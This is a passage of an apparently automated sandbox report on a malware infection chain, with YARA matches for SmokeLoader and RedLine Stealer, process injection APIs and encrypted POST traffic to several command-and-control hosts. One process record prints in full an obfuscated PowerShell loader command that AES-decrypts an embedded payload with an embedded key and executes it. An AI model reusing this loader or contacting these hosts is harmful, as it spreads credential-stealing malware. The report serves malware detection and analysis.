Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49832	94.156.177.51	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:54:25.151771069 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hpkihdgfpdwnih.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 309 Host: constractionscity1991.lat
Dec 19, 2024 07:54:25.151771069 CET	309	OUT	Data Raw: a1 5f 7d 55 8e 47 51 ca c1 4c ae bf fc b0 2a 4b 57 32 b0 59 61 c0 36 2b d9 52 b8 18 76 88 05 54 c8 54 ac fc 4d aa 73 42 2a bd cd 0d af 49 12 32 a2 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be b9 25 50 d1 Data Ascii: _}UGQLKW2Ya6+RvTTMsBI2x]2m-^JrC)%PGx]}SaI;WyH!ZPAKguHfZmzW^"ze<r#&P2 d mfGVZ!J!uICq;0-=O*_MH
Dec 19, 2024 07:54:26.507935047 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 06:54:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49838	94.156.177.51	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:54:26.635723114 CET	287	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yitqmxmwjwycdun.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 274 Host: restructurisationservice.ru
Dec 19, 2024 07:54:26.635741949 CET	274	OUT	Data Raw: a1 5f 7d 55 8e 47 51 ca c1 4c ae bf fc b0 2a 4b 57 32 b0 59 61 c0 36 2b d9 52 b8 18 76 88 05 54 c8 54 ac fc 4d aa 73 42 2a bd cd 0d af 49 12 32 a2 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be b9 45 38 bb Data Ascii: _}UGQLKW2Ya6+RvTTMsBI2x]2m-^JrC)E8U6nyc[e#d 89<sLjR"NcU\sh@(ptjTdsd@m9N\vtHk\u%[qIF -&oo"T#t
Dec 19, 2024 07:54:27.998553991 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 06:54:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49843	109.70.26.37	80	4084	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 07:54:28.122318029 CET	280	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yfnvfnqkorbos.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 167 Host: connecticutproperty.ru
Dec 19, 2024 07:54:28.122318029 CET	167	OUT	Data Raw: a1 5f 7d 55 8e 47 51 ca c1 4c ae bf fc b0 2a 4b 57 32 b0 59 61 c0 36 2b d9 52 b8 18 76 88 05 54 c8 54 ac fc 4d aa 73 42 2a bd cd 0d af 49 12 32 a2 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be f6 30 42 ad Data Ascii: _}UGQLKW2Ya6+RvTTMsBI2x]2m-^JrC)0BHBWqoA%lE;8m*(.OEjBteLN/f>W
Dec 19, 2024 07:54:29.461914062 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 06:54:29 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Target ID:	0
Start time:	01:52:18
Start date:	19/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs"
Imagebase:	0x7ff7ff5c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:52:18
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function kzVl($BRaA){return -split ($BRaA -replace '..', '0x$& ')};$Qiyjc = kzVl('583A9978E4D34538992E1A1351EF94C76F346575AEA09EB513401549161877EAF16C217FA53FAF8E9F5A6B6C98F436132CD64686F84B385701DF5CB57A496A57D083A739BD167A16F22386779010D0352280C205381DB165BF369C1DDC1AB0B20826DFB010CFDDCDFA3710E79E1F0DF5396A3CDCB1519A0E59214CB85DD8D5DB3598F5C3CC2D2307A104A5856E89829E0A80D0286C7C00A59C9857283FBDB29EB8E496DD4C09DA9F275960328E5AC89D55EBD3DCFED16A96B6882267D9DCBB1521E1A44EEC3CE3DA70C185B6D12547011407D8226CD2AE3CE2F55821F81B446119C95B163DB7DC61D936658509E877C1C06861FB6361BE198E404AE7F361887E373DC1A99E729EA6BCAD34C16C098676CBD7B34C34B4F6155017983594876DAC6BDB2C587F4A232BC97779B63E1A9088C50429F113E053CF31D6547C6D7F0ABE12F1F0B6A3F596803EBE69B5D5A6D1179C28BCAA989E167C59B3FF802844CBD654C0D6740476BF8F45699EB7ADB664C116B89504C4839F998A91C64E5E71E61B29061402831AAC2A34042CD38B595CF64B56303C0B9F31CEFD6C1F6AFD8BEDDEA69D470D2A173FC1496F22674C3559B74CED02F1DCEC4DABB38BA293DA8F762959B7DDA301EEA24D6B450354B04288F6385A2B2EDB10FA89F0D27FF2907D00A53F937FD89AB58F6811A166D5A633234208A16F44C7E1FDA1CA5781750D0FD0698B225A66882E2BC56217A52CCBF79E80ED2ABC2CDC8039511450AF5B112EADDA510CE1EED99D3EBFDAD959AB50B58880B9E56EC313C6B087C011B3DA810C2A5E3C6A90C69061B7B3ECED35C713C11874F6763FA79F0691D4FF8B99159BF1A716F811E9CBB8F818216B8AEF751BF044FBFE9DAA0CB892645C05F5D407EFED774BA5689A68FE5547020C0FE72F39D5ACA4');$mZBMz=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((kzVl('72786673574B4C516874716D49544E50')),[byte[]]::new(16)).TransformFinalBlock($Qiyjc,0,$Qiyjc.Length)); & $mZBMz.Substring(0,3) $mZBMz.Substring(3)
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:52:18
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:52:24
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Roaming\putty.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\putty.exe"
Imagebase:	0x400000
File size:	295'424 bytes
MD5 hash:	C02B57E6771A13513DC087F6B45ADAB0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.1635941173.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.1638027397.0000000000731000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.1638027397.0000000000731000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.1636745792.0000000000600000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.1636745792.0000000000600000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000003.1568194811.0000000000600000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000004.00000002.1636678804.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:52:30
Start date:	19/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff62d7d0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	01:52:48
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Roaming\edrecib
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\edrecib
Imagebase:	0x400000
File size:	295'424 bytes
MD5 hash:	C02B57E6771A13513DC087F6B45ADAB0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1858608967.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000002.1858830240.0000000000981000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000007.00000002.1858830240.0000000000981000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000007.00000002.1858660361.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000003.1807981755.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000002.1858680191.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000007.00000002.1858680191.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00007FFB4ADF3B5D Relevance: .8, Instructions: 836COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1587538406.00007FFB4ADF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4ADF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4adf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d43cedfa6099f382eec4152db3db42b67335dd0c30a833d1da71487bd2f8f2fe
Instruction ID: b1434294f16d88cd9374682b4769d2f5647097d33f0a09cf5017778c3f2c2a0e
Opcode Fuzzy Hash: d43cedfa6099f382eec4152db3db42b67335dd0c30a833d1da71487bd2f8f2fe
Instruction Fuzzy Hash: 76424AA2A0EBC54FE796AF3C88651B67FE4EF46210B1901FBE49DC71D3D9189C058392

Function 00007FFB4ADF3C2A Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1587538406.00007FFB4ADF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4ADF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4adf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02193ef045707fb830ed9fc8222d735912a0157379bedb9b9d04f1345cc271bf
Instruction ID: f6edca7994906036d1309aff9c54007cafaca6236fbaef3ec754729b7f692f79
Opcode Fuzzy Hash: 02193ef045707fb830ed9fc8222d735912a0157379bedb9b9d04f1345cc271bf
Instruction Fuzzy Hash: 3341F4D3B0FE870BF3AABE3C89652F665C5DF84610B6901FDE46EC31D2DD0898414241

Function 00007FFB4ADF3FC7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1587538406.00007FFB4ADF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4ADF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4adf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e14803721ac89d284ffd3834266de17c11c1f77be417875f6c59d9050618ce34
Instruction ID: a592627117d8aab32538ebc652818d03a7c4836ad683c9b29d8583550c95611c
Opcode Fuzzy Hash: e14803721ac89d284ffd3834266de17c11c1f77be417875f6c59d9050618ce34
Instruction Fuzzy Hash: D71129E2F1D9064BF2A5FE3CE6565BA66D5DF84210B6901F9F81DC3585DC086C014181

Function 00007FFB4AD23A05 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1587075326.00007FFB4AD20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AD20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4ad20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 631ec590cc359d01a6b74646032227057f46163c18db6f822506ec54e119a4c5
Instruction ID: 1e53aee6eb80e180f2005a86433b53a01481236e62caa05caa63651cd5e1cae9
Opcode Fuzzy Hash: 631ec590cc359d01a6b74646032227057f46163c18db6f822506ec54e119a4c5
Instruction Fuzzy Hash: 6001677111CB0C8FD744EF0CE451AA5B7E0FB95364F10056EE58AC3655D636E892CB46

Function 00007FFB4ADF04D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1587538406.00007FFB4ADF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4ADF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4adf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8cc4ee14206541070e2fc64ddedfda6211a868c860a249d357ce67d5e8cda42
Instruction ID: 90ef855cc4346635b22d4f93983726f273d4042b3460e2a82cc913b0c1a4c4a3
Opcode Fuzzy Hash: f8cc4ee14206541070e2fc64ddedfda6211a868c860a249d357ce67d5e8cda42
Instruction Fuzzy Hash: D5E0D873F0E96E0FBBA1BDAC65191F96694EF5423171801F7E91CD3145EC049C114391

Analysis Process: putty.exePID: 2056, Parent PID: 6012COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	80.9%
Signature Coverage:	39.5%
Total number of Nodes:	162
Total number of Limit Nodes:	6

Executed Functions

Function 004013BF Relevance: 10.8, APIs: 7, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction ID: b303ee40ce3cd715bffe5459f1355022e0f5cf8d3c2eb96fe6471530370b2b0e
Opcode Fuzzy Hash: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction Fuzzy Hash: 3BA10872A04204FBEB219F91CC45EEB7BB8EF81710F24452BF902BA1F1D6749902DB65

Function 004014B5 Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction ID: 19a1d6b0ff796e10bf8f41dee95350edbff68fa9ff5f9bfea876b5d94b6971b3
Opcode Fuzzy Hash: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction Fuzzy Hash: C9513BB1900245BFEB209F91CC48FAB7BB8FF85B10F14412AFA11BA2E5D6759941CB64

Function 004014D3 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction ID: 8103355e2e942ff69e8c14b284ac6daeef9955d1bae1450e847efa7766c746d9
Opcode Fuzzy Hash: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction Fuzzy Hash: 245127B1900245BBEF209F91CC48FABBBB8EF86B00F144159FA11BA2A5D6719941CB24

Function 004014F7 Relevance: 10.7, APIs: 7, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction ID: 2227e086d9928dda04f460d80950503c889386f6503bf0ca9f5f85cfbacfc3af
Opcode Fuzzy Hash: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction Fuzzy Hash: 8B5107B1900249BFEF209F91CC48FAFBBB8EF85B10F144159FA11BA2A5D6719945CB24

Function 00402F8F Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030B7
NtTerminateProcess.NTDLL ref: 004030C8

Memory Dump Source

Source File: 00000004.00000002.1635255109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_putty.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction ID: aa2530698c6aa4494656ae1f9c01ee64b6dc24c6198c14284b052c109098bfb9
Opcode Fuzzy Hash: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction Fuzzy Hash: 1F415832618E0C4FD778EE6CA88966377D5E794351B56437AE809D3388EE30DC5183C5

Function 00541CC0 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00541CE8
Module32First.KERNEL32(00000000,00000224), ref: 00541D08

Memory Dump Source

Source File: 00000004.00000002.1635941173.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_530000_putty.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 36ac583e1c1f0f59f407e493ba2815789a2df5f0767acc7688af92a70698274b
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 7AF0C231500B116BD7202BF59C8DBAA7AE8BF493ADF100128E642910C0CA70EC854668

Function 005F003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 005F024D

Strings

kernel32.dll, xrefs: 005F008F, 005F0095
cess, xrefs: 005F018D

Memory Dump Source

Source File: 00000004.00000002.1636678804.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_putty.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 4b65ce4eff50f675edf1d61a99df40599f3613a345a7b7b0bfdd16d4a1f72893
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: B9526974A01229DFDB64CF58C984BA8BBB1BF09304F1480D9E54DAB392DB34AE85DF14

Function 005F0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,005F0223,?,?), ref: 005F0E19
